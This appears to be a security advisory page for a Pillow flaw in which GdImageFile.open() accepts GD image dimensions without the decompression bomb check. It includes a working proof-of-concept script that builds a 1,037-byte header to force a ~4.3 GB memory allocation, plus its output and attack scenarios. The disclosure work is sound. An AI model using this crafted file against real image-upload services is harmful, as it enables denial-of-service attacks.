Alta

Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`

  • Publicada: 06.07.2026
  • Actualizado: 11.10.2026 15:18

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

python
def _open(self) -> None:
    s = self.fp.read(1037)
    if i16(s) not in [65534, 65535]:
        raise SyntaxError("Not a valid GD 2.x .gd file")
    self._mode = "P"
    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
    # NO _decompression_bomb_check() call here ←
    ...
    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

python
load() → load_prepare() → Image.core.new("P", (65535, 65535))
# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

Field Value
Maximum width from header 65,535 (unsigned 16-bit)
Maximum height from header 65,535 (unsigned 16-bit)
Maximum pixel count 65,535 × 65,535 = 4,294,836,225
DecompressionBombError threshold 178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio 24× above DecompressionBombError threshold
Memory at max dimensions ≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size 1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

python
# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size)   # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

python
#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image

# Build minimal 1037-byte GD 2.x palette-mode header:
#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
w            = struct.pack(">H", 65535)         # max width
h            = struct.pack(">H", 65535)         # max height
true_color   = b"\x00"                          # 0 = palette mode
tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
colors_used  = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

# Confirm: standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called — 4.3 GB allocation not blocked")

# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
    print(f"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
         No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH]   4,294,836,225 pixels = 24.0× error threshold
[MATH]   Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

Path File size Effect
Transient (header only) 1,037 bytes load_prepare() attempts 4.3 GB C allocation → OSError after spike
Persistent (full pixel data) ~4.3 GB load() completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

python
from PIL import GdImageFile

# Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check
img.load()                                    # triggers 4.3 GB C-heap allocation

Impact

  • Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
  • Confidentiality: None
  • Integrity: None
  • Authentication required: No — any public endpoint accepting image uploads is affected
  • User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Software afectado

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PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) pillow < 12.3.0 12.3.0

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE)
CWE-789
Plataforma
Python (PyPI)
Paquete
pillow
Publicada
06.07.2026
Actualizado
11.10.2026 15:18

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-2256 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-phj9-mv4w-65pm - CC BY 4.0

Historial de vulnerabilidades: pillow

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (81) en el archivo
Entradas en total
81
Primera → última
04.2014 10.2026
Sin corrección
0
Explotada en ataques
1

Distribución por gravedad

  • Crítica 10
  • Alta 53
  • Media 16
  • Baja 1
  • Sin evaluar 1

Divulgaciones por año

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 23

antes: 12

Gravedad:
  1. Alta · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  2. Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()` esta entrada
    Alta · 7.5 CVE-2026-55380 < 12.3.0 12.3.0
  3. Alta CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  4. Alta · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  5. Alta CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  6. Alta · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  7. Alta · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  8. Crítica · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
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